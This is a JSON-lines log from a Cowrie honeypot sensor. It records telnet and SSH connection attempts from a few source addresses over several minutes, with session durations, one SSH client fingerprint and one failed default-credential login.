{"eventid":"cowrie.session.closed","duration":33.47805857658386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:44.035736Z","src_ip":"188.208.141.113","session":"54f21e88a573","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35546,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c08a06f544a","protocol":"telnet","message":"New connection: 188.208.141.113:35546 (10.17.0.5:23) [session: 0c08a06f544a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:50.294605Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50874,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0785386580","protocol":"telnet","message":"New connection: 188.208.141.113:50874 (10.17.0.5:23) [session: bc0785386580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:52.075614Z"}
{"eventid":"cowrie.session.closed","duration":37.199790716171265,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:23:58.274911Z","src_ip":"188.208.141.113","session":"8081da0cd97f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41756,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ef55bda667","protocol":"telnet","message":"New connection: 188.208.141.113:41756 (10.17.0.5:23) [session: 62ef55bda667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:03.171431Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41764,"dst_ip":"10.17.0.5","dst_port":23,"session":"881db3aae195","protocol":"telnet","message":"New connection: 188.208.141.113:41764 (10.17.0.5:23) [session: 881db3aae195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:09.870289Z"}
{"eventid":"cowrie.session.closed","duration":7.786301612854004,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:10.957554Z","src_ip":"188.208.141.113","session":"62ef55bda667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.070653915405273,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:13.940826Z","src_ip":"188.208.141.113","session":"881db3aae195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43146,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f9916ceaa17","protocol":"telnet","message":"New connection: 188.208.141.113:43146 (10.17.0.5:23) [session: 2f9916ceaa17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:18.269145Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43152,"dst_ip":"10.17.0.5","dst_port":23,"session":"57e8917c2013","protocol":"telnet","message":"New connection: 188.208.141.113:43152 (10.17.0.5:23) [session: 57e8917c2013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:19.385805Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43158,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f557cc99de1","protocol":"telnet","message":"New connection: 188.208.141.113:43158 (10.17.0.5:23) [session: 6f557cc99de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:19.431465Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":40120,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb61dbb7c3d9","protocol":"telnet","message":"New connection: 216.10.244.42:40120 (159.203.135.109:23) [session: eb61dbb7c3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:19.725357Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":41802,"dst_ip":"159.203.135.109","dst_port":23,"session":"6851f587a0c9","protocol":"telnet","message":"New connection: 216.10.244.42:41802 (159.203.135.109:23) [session: 6851f587a0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:21.300652Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":57694,"dst_ip":"159.203.135.109","dst_port":23,"session":"61d39f770a68","protocol":"telnet","message":"New connection: 216.10.244.42:57694 (159.203.135.109:23) [session: 61d39f770a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:36.924868Z"}
{"eventid":"cowrie.session.closed","duration":45.13567495346069,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:37.211149Z","src_ip":"188.208.141.113","session":"bc0785386580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44590,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7a40e8ee717","protocol":"telnet","message":"New connection: 188.208.141.113:44590 (10.17.0.5:23) [session: e7a40e8ee717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:42.398176Z"}
{"eventid":"cowrie.session.closed","duration":53.220709800720215,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:43.515188Z","src_ip":"188.208.141.113","session":"0c08a06f544a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44592,"dst_ip":"10.17.0.5","dst_port":23,"session":"70cb44c0cb31","protocol":"telnet","message":"New connection: 188.208.141.113:44592 (10.17.0.5:23) [session: 70cb44c0cb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:46.928744Z"}
{"eventid":"cowrie.session.closed","duration":31.60412907600403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:51.329317Z","src_ip":"216.10.244.42","session":"eb61dbb7c3d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209676504135132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:52.510194Z","src_ip":"216.10.244.42","session":"6851f587a0c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.722856521606445,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:52.651503Z","src_ip":"188.208.141.113","session":"70cb44c0cb31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93753719329834,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:53.206446Z","src_ip":"188.208.141.113","session":"2f9916ceaa17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.4364013671875,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:24:57.822097Z","src_ip":"188.208.141.113","session":"57e8917c2013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.082207441329956,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:01.513553Z","src_ip":"188.208.141.113","session":"6f557cc99de1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438647747039795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:08.363435Z","src_ip":"216.10.244.42","session":"61d39f770a68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":60906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4070d4008eae","protocol":"telnet","message":"New connection: 216.10.244.42:60906 (159.203.135.109:23) [session: 4070d4008eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:08.653631Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60772,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dabf731b1a9","protocol":"telnet","message":"New connection: 188.208.141.113:60772 (10.17.0.5:23) [session: 8dabf731b1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:12.738017Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60780,"dst_ip":"10.17.0.5","dst_port":23,"session":"93e3e024d90c","protocol":"telnet","message":"New connection: 188.208.141.113:60780 (10.17.0.5:23) [session: 93e3e024d90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:13.836177Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55370,"dst_ip":"10.17.0.5","dst_port":23,"session":"9875bd42a496","protocol":"telnet","message":"New connection: 206.189.32.23:55370 (10.17.0.5:23) [session: 9875bd42a496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:17.478921Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60788,"dst_ip":"10.17.0.5","dst_port":23,"session":"40abffd841fa","protocol":"telnet","message":"New connection: 188.208.141.113:60788 (10.17.0.5:23) [session: 40abffd841fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:19.728518Z"}
{"eventid":"cowrie.session.closed","duration":43.06507349014282,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:25.463123Z","src_ip":"188.208.141.113","session":"e7a40e8ee717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":51760,"dst_ip":"159.203.135.109","dst_port":23,"session":"f19c789da8c7","protocol":"telnet","message":"New connection: 216.10.244.42:51760 (159.203.135.109:23) [session: f19c789da8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:28.004521Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39142,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7647349216","protocol":"telnet","message":"New connection: 206.189.32.23:39142 (10.17.0.5:23) [session: 5c7647349216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:28.533090Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55580,"dst_ip":"10.17.0.5","dst_port":23,"session":"c188f341c1f9","protocol":"telnet","message":"New connection: 188.208.141.113:55580 (10.17.0.5:23) [session: c188f341c1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:29.521689Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55590,"dst_ip":"10.17.0.5","dst_port":23,"session":"890f5fd9d849","protocol":"telnet","message":"New connection: 188.208.141.113:55590 (10.17.0.5:23) [session: 890f5fd9d849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:30.160952Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":11824,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdc8fcf9bdc0","protocol":"ssh","message":"New connection: 193.24.211.95:11824 (159.203.135.109:22) [session: fdc8fcf9bdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:32.005308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:32.017440Z","src_ip":"193.24.211.95","session":"fdc8fcf9bdc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:32.204307Z","src_ip":"193.24.211.95","session":"fdc8fcf9bdc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.727379322052002,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:32.260283Z","src_ip":"206.189.32.23","session":"5c7647349216","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"c-comatic","password":"c-comatic","message":"login attempt [c-comatic/c-comatic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:32.631790Z","src_ip":"193.24.211.95","session":"fdc8fcf9bdc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:33.743716Z","src_ip":"193.24.211.95","session":"fdc8fcf9bdc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":58930,"dst_ip":"159.203.135.109","dst_port":23,"session":"141b28220878","protocol":"telnet","message":"New connection: 216.10.244.42:58930 (159.203.135.109:23) [session: 141b28220878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:35.056676Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48740,"dst_ip":"10.17.0.5","dst_port":23,"session":"8145d9c8f6f2","protocol":"telnet","message":"New connection: 188.208.141.113:48740 (10.17.0.5:23) [session: 8145d9c8f6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:35.209491Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47254,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f23ae72f9b5","protocol":"telnet","message":"New connection: 206.189.32.23:47254 (10.17.0.5:23) [session: 4f23ae72f9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:36.550419Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":59954,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a0c95ad9d9","protocol":"telnet","message":"New connection: 216.10.244.42:59954 (159.203.135.109:23) [session: 08a0c95ad9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:37.036393Z"}
{"eventid":"cowrie.session.closed","duration":1.0874474048614502,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:37.637767Z","src_ip":"206.189.32.23","session":"4f23ae72f9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76114821434021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:39.414661Z","src_ip":"216.10.244.42","session":"4070d4008eae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50494,"dst_ip":"10.17.0.5","dst_port":23,"session":"a81b0013aaef","protocol":"telnet","message":"New connection: 206.189.32.23:50494 (10.17.0.5:23) [session: a81b0013aaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:40.654052Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":45084,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b05a0fe3b99","protocol":"telnet","message":"New connection: 216.10.244.42:45084 (159.203.135.109:23) [session: 7b05a0fe3b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:49.400349Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35772,"dst_ip":"10.17.0.5","dst_port":23,"session":"7436defd7442","protocol":"telnet","message":"New connection: 188.208.141.113:35772 (10.17.0.5:23) [session: 7436defd7442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:49.750424Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":46218,"dst_ip":"159.203.135.109","dst_port":23,"session":"8318fa9ec825","protocol":"telnet","message":"New connection: 216.10.244.42:46218 (159.203.135.109:23) [session: 8318fa9ec825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:50.752939Z"}
{"eventid":"cowrie.session.closed","duration":42.95694041252136,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:56.792947Z","src_ip":"188.208.141.113","session":"93e3e024d90c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.484456062316895,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:58.212568Z","src_ip":"188.208.141.113","session":"40abffd841fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35774,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca733de22ec","protocol":"telnet","message":"New connection: 188.208.141.113:35774 (10.17.0.5:23) [session: 6ca733de22ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:58.294388Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41798,"dst_ip":"10.17.0.5","dst_port":23,"session":"62dd31fc988a","protocol":"telnet","message":"New connection: 206.189.32.23:41798 (10.17.0.5:23) [session: 62dd31fc988a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:58.504668Z"}
{"eventid":"cowrie.session.closed","duration":31.19946575164795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:25:59.203850Z","src_ip":"216.10.244.42","session":"f19c789da8c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.17741847038269,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:00.656246Z","src_ip":"206.189.32.23","session":"9875bd42a496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":57256,"dst_ip":"159.203.135.109","dst_port":23,"session":"e12764a10678","protocol":"telnet","message":"New connection: 216.10.244.42:57256 (159.203.135.109:23) [session: e12764a10678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:02.464687Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":59102,"dst_ip":"159.203.135.109","dst_port":23,"session":"81eb99aaffe8","protocol":"telnet","message":"New connection: 216.10.244.42:59102 (159.203.135.109:23) [session: 81eb99aaffe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:04.741842Z"}
{"eventid":"cowrie.session.closed","duration":35.58519911766052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:05.106796Z","src_ip":"188.208.141.113","session":"c188f341c1f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.029597759246826,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:05.323863Z","src_ip":"188.208.141.113","session":"6ca733de22ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877980947494507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:05.934542Z","src_ip":"216.10.244.42","session":"141b28220878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.255610704422,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:09.291883Z","src_ip":"216.10.244.42","session":"08a0c95ad9d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.401854038238525,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:10.562571Z","src_ip":"188.208.141.113","session":"890f5fd9d849","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.1525502204895,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:12.890444Z","src_ip":"188.208.141.113","session":"8dabf731b1a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":38360,"dst_ip":"159.203.135.109","dst_port":23,"session":"10313fa8de6d","protocol":"telnet","message":"New connection: 216.10.244.42:38360 (159.203.135.109:23) [session: 10313fa8de6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:15.401905Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":41386,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a9bea9c56f0","protocol":"telnet","message":"New connection: 216.10.244.42:41386 (159.203.135.109:23) [session: 8a9bea9c56f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:16.217915Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56258,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa2562d6e5f","protocol":"telnet","message":"New connection: 188.208.141.113:56258 (10.17.0.5:23) [session: bfa2562d6e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:18.021361Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f99231355e","protocol":"telnet","message":"New connection: 216.10.244.42:44250 (159.203.135.109:23) [session: c9f99231355e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:19.533669Z"}
{"eventid":"cowrie.session.closed","duration":31.305441856384277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:20.705658Z","src_ip":"216.10.244.42","session":"7b05a0fe3b99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":45166,"dst_ip":"159.203.135.109","dst_port":23,"session":"de57bc00f8ff","protocol":"telnet","message":"New connection: 216.10.244.42:45166 (159.203.135.109:23) [session: de57bc00f8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:21.671418Z"}
{"eventid":"cowrie.session.closed","duration":31.350205183029175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:22.103059Z","src_ip":"216.10.244.42","session":"8318fa9ec825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.56058645248413,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:22.769945Z","src_ip":"188.208.141.113","session":"8145d9c8f6f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":47990,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bea9226c232","protocol":"telnet","message":"New connection: 216.10.244.42:47990 (159.203.135.109:23) [session: 1bea9226c232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:23.970724Z"}
